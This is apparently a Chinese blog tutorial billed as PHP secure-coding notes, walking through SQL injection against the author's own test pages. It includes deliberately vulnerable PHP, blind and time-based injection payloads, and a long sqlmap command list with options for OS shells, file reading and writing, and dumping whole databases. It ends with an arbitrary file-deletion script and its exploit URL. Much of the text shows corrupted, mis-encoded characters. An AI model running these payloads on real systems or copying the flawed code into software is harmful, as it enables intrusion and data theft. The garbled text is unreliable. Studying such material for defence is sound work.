本篇文章給大家?guī)砹岁P(guān)于PHP安全的相關(guān)知識,其中主要介紹了什么是SQL注入?盲注是怎么使用的?常用檢測命令有哪些等等,下面一起來看一下,希望對需要的朋友有所幫助。
PHP 安全編碼總結(jié)筆記
SQL注入: 代碼中的 HTTP_X_FORWARDED_FOR 地址可以被偽造,而REMOTE_ADDR則相對更安全,有些應(yīng)用程序會將對方IP地址帶入數(shù)據(jù)庫查詢是否存在,例如同一個IP每天只能注冊一個賬號等,如果目標(biāo)代碼中使用的是 HTTP_X_FORWARDED_FOR 獲取的IP地址,那么攻擊者就可以通過修改HTTP包頭實(shí)現(xiàn)SQL注入攻擊。
<?php function get_client_addr(){ if($_SERVER["HTTP_CLIENT_IP"] && strcasecmp($_SERVER["HTTP_CLIENT_IP"],"unknown")){ $ip = $_SERVER["HTTP_CLIENT_IP"]; echo "HTTP_CLIENT_IP =" . $ip; }else if($_SERVER["HTTP_X_FORWARDED_FOR"] && strcasecmp($_SERVER["HTTP_X_FORWARDED_FOR"], "unknown")){ $ip = $_SERVER["HTTP_X_FORWARDED_FOR"]; echo "HTTP_X_FORWARDED_FOR =" . $ip; }else if($_SERVER["REMOTE_ADDR"] && strcasecmp($_SERVER["REMOTE_ADDR"], "unknown")){ $ip = $_SERVER["REMOTE_ADDR"]; echo "REMOTE_ADDR =" . $ip; }else{ $ip = "unknown"; } return $ip; } $addr = get_client_addr(); ?>
SQL注入: 一種使用了過濾的代碼,接受的參數(shù)經(jīng)過過濾,字符串會被過濾掉SQL注入的關(guān)鍵字,整數(shù)會被強(qiáng)制轉(zhuǎn)換為整數(shù)。
<?php $var = date_default_timezone_get(); echo "當(dāng)前時區(qū): " . $var . "<br>"; date_default_timezone_set("Asia/Shanghai"); if(!get_magic_quotes_gpc()){ $var = waf($_GET['id']); echo "過濾后的參數(shù): " . $var; } function waf($array){ if(is_array($array)){ foreach ($array as $key => $value) { $array [$key] = waf($value); } }else if(is_string($array)){ $array = addslashes($array); #$array = str_ireplace("and", "fuck", $array); $substr = array( "and" => "fuck you !", "where" => "fuck you !", "union" => "fuck you !", "select" => "fuck you !", "order" => "fuck you !", "update" => "fuck you !", "sleep" => "fuck you !", ); $array = str_ireplace(array_keys($substr), $substr,$array); }else if(is_numeric($array)){ $array = intval($array); } return $array; } ?>
盲注的使用
首先需要簡單修改上方的源代碼,去掉回顯框,然后修改以下代碼.
<!DOCTYPE html> <html> <head> <meta charset="gbk"> <title>SQL 注入測試代碼</title> </head> <?php $connect = mysqli_connect("localhost","root","123","lyshark"); if($connect) { $id = $_GET['id']; if(isset($id)) { $sql = "select * from users where id='$id' limit 0,1"; $query = mysqli_query($connect,$sql); $row = mysqli_fetch_array($query); if(!empty($row)) { print("查詢完成了.."); }else { print("查詢失敗"); } } } ?> <body> <?php echo '<hr><b> 后端執(zhí)行SQL語句: </b>' . $sql; ?> </body> </html>
猜數(shù)據(jù)庫名稱: 盲注也就是程序會返回兩種狀態(tài),查詢成功與查詢失敗,我們需要自己構(gòu)建判斷條件,常用語句如下.
index.php?id=1' and left(version(),1)=5 --+ // 返回正常,說明版本號是5 index.php?id=1' and (length(database()))=7 --+ // 返回正常,說明數(shù)據(jù)庫名字長度是7 index.php?id=1' and (left(database(),1))='l' --+ // 返回正常,說明數(shù)據(jù)庫第一位是l index.php?id=1' and (left(database(),2))='ly' --+ // 返回正常,說明數(shù)據(jù)庫前兩位位是ly,以此類推 index.php?id=1' and ord(mid((CAST(database() AS CHAR)),1,1))=108 --+ // 驗(yàn)證第一位是否為l index.php?id=1' and ord(mid((CAST(database() AS CHAR)),2,1))=121 --+ // 驗(yàn)證第二位是否為y,以此類推
猜表名:如果網(wǎng)頁返回正常,則說明存在這個表,返回不正常說明不存在.
index.php?id=1' and (select count(*) from mysql.user) >=0 // 存在mysql.user表 index.php?id=1' and (select count(*) from lyshark) >=0 // 存在lyshark表
猜字段: 如果網(wǎng)頁返回正常,說明存在猜測的字段,不正常則需要繼續(xù)猜.
index.php?id=1' and (select count(id) from users) >=0 // 返回正常說明存在id字段 index.php?id=1' and (select count(name) from users) >=0 // 返回不正常不存在name字段 index.php?id=1' and (select count(*) from lyshark) >=3 #-- // 返回表中記錄數(shù)
用戶名猜測: 通過正則符號也可使完成多指定用戶的探測,其他函數(shù)用法相同.
index.php?id=1' and (length(user())) >=14 # // 猜測數(shù)據(jù)庫用戶名稱長度 index.php?id=1' and (select user() like 'root%') # // 猜測用戶名 index.php?id=1' and (select user() regexp '^[a-z]') # // 猜測開頭a-z index.php?id=1' and (select user() regexp '^r') # // 第一位是r index.php?id=1' and (select user() regexp '^ro') # // 第二位是o index.php?id=1' and (select user() regexp '^root') # // 以此類推猜測前四位
延時注入: 通過sleep(5)延時的方式,我們同樣可以判斷是否存在注入點(diǎn).
index.php?id=1' and sleep(5) # index.php?id=1' and sleep(5) order by 3 # // 如果是3個字段,則會延時5秒 index.php?id=1' and select if(length(user())=0,sleep(3),1) # //如果user=0則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=100,sleep(3),1) # // 第1個字符=d則延時3秒 index.php?id=1' and if(hex(mid(user(),1,1))=118,sleep(3),1) # // 第2個字符=v則延時3秒
◆sqlmap 命令◆
常用檢測命令:
sqlmap -u "./index.php?id=1" -v 3 # 顯示攻擊載荷 sqlmap -u "./index.php?id=1" --level=3 # 指定探測級別 sqlmap -u "./index.php?id=1" --privileges # 測試所有用戶權(quán)限 sqlmap -u "./index.php?id=1" --privileges root # 測試root用戶權(quán)限 sqlmap -u "./index.php?id=1" --all # 查詢所有數(shù)據(jù)庫 sqlmap -u "./index.php?id=1" --hostname # 查詢當(dāng)前主機(jī)名 sqlmap -u "./index.php?id=1" --is-dba # 判斷root權(quán)限 sqlmap -u "./index.php?id=1" --users # 枚舉數(shù)據(jù)庫用戶 sqlmap -u "./index.php?id=1" --random-agent # 隨機(jī)User-Agent sqlmap -u "./index.php?id=1" --output-dir="" # 自定義輸出目錄 sqlmap -u "./index.php?id=1" --file-read="" # 讀取文件 sqlmap -u "./index.php?id=1" --file-write="" # 寫入操作 sqlmap -u "./index.php?id=1" --os-cmd="net user" # 執(zhí)行一條命令 sqlmap -u "./index.php?id=1" --os-shell # 交互執(zhí)行命令 sqlmap -u "./index.php?id=1" --sql-query="" # 執(zhí)行的SQL語句 sqlmap -u "./index.php?id=1" --cookie="" # 指定cookie sqlmap -u "./index.php?id=1" --temper="" # 指定過濾腳本 sqlmap -u "./index.php?id=1" --dbs --delay 1 # 延時1秒后注入 sqlmap -u "./index.php?id=1" --dbs --safe-freq 3 # 延時3秒后注入 sqlmap -u "./index.php?id=1" --identify-waf # 測試是否有WAF sqlmap -u "./index.php?id=1" --current-db # 查詢當(dāng)前數(shù)據(jù)庫 sqlmap -u "./index.php?id=1" --current-user # 查詢當(dāng)前主機(jī)名 sqlmap -u "./index.php?id=1" --users # 查詢所有用戶名 sqlmap -u "./index.php?id=1" --dbs # 列出所有數(shù)據(jù)庫 sqlmap -u "./index.php?id=1" --tables # 列出所有的表 sqlmap -u "./index.php?id=1" -D "mysql" --tables # 獲取mysql庫中的表 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --columns # 獲取mysql.host表列名稱 sqlmap -u "./index.php?id=1" -D "mysql" -T "host" --dump # 將mysql.host保存到本地 sqlmap -u "./index.php?id=1" -D "mysql" --dump-all # 全部脫褲 sqlmap -u "./index.php?id=1" -D "mysql" -T "user" -C "Host,User,Password" --dump
Cookie注入: 當(dāng)level>=2時,使用cookie注入,level >=3 使用User-agent/Referer注入.
sqlmap -u "./index.php" -v 3 --cookie id=1 --level 2 #判斷注入點(diǎn) sqlmap -u "./index.php" -v 3 --cookie id=1 --dbs --level 2 #猜數(shù)據(jù)庫名 sqlmap -u "./index.php" -v 3 --cookie id=1 --tables --level 2 #猜表名稱 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --level 2 #猜字段 sqlmap -u "./index.php" -v 3 --cookie id=1 -T 表名 --clumns --dump --level 2 #猜內(nèi)容
POST注入: 該方法通常是使用抓包工具抓取數(shù)據(jù)包,然后指定字段進(jìn)行測試即可.
1.瀏覽器打開目標(biāo)地址 http://www.xxx.com/index.php
2.配置burp代理(127.0.0.1:8080) 準(zhǔn)備攔截請求
3.點(diǎn)擊login表單的submit按鈕,或者其他按鈕均可
4.這時候Burp會攔截到了我們的登錄POST請求
5.把這個post請求復(fù)制為txt,記錄下其中的 id=1&Submit=Submit
sqlmap -r post.txt -p id --dbs Sqlmap -r post.txt -p id -D mysql --tables Sqlmap -r post.txt -p id -D mysql -T user --columns sqlmap -r post.txt -p id -D mysql -T user -C "User,Password" --dump sqlmap --dbms "mysql" --method "POST" --data "id=1&cat=2"
其他漏洞利用
任意文件刪除: 執(zhí)行刪除語句http://php.com/?dir=…..////&file=a.txt 完成漏洞利用.
<?php $dir = isset($_GET['dir']) && trim($_GET['dir']) ? str_replace(array('..\', '../', './', '.\'), '', urldecode(trim($_GET['dir']))) : ''; $dir = str_replace("-", "/", $dir); $file = isset($_GET['file']) && trim($_GET['file']) ? trim($_GET['file']) : ''; $path = "./" . $dir . "/" . $file; $path = str_replace(array("//"), array("/"), $path); echo "當(dāng)前路徑是: " . $path . "<br>"; if (file_exists($path)) { if (unlink($path)) { echo "刪除完成.."; } else { echo "刪除失敗.."; } } ?>
推薦學(xué)習(xí):《PHP視頻教程》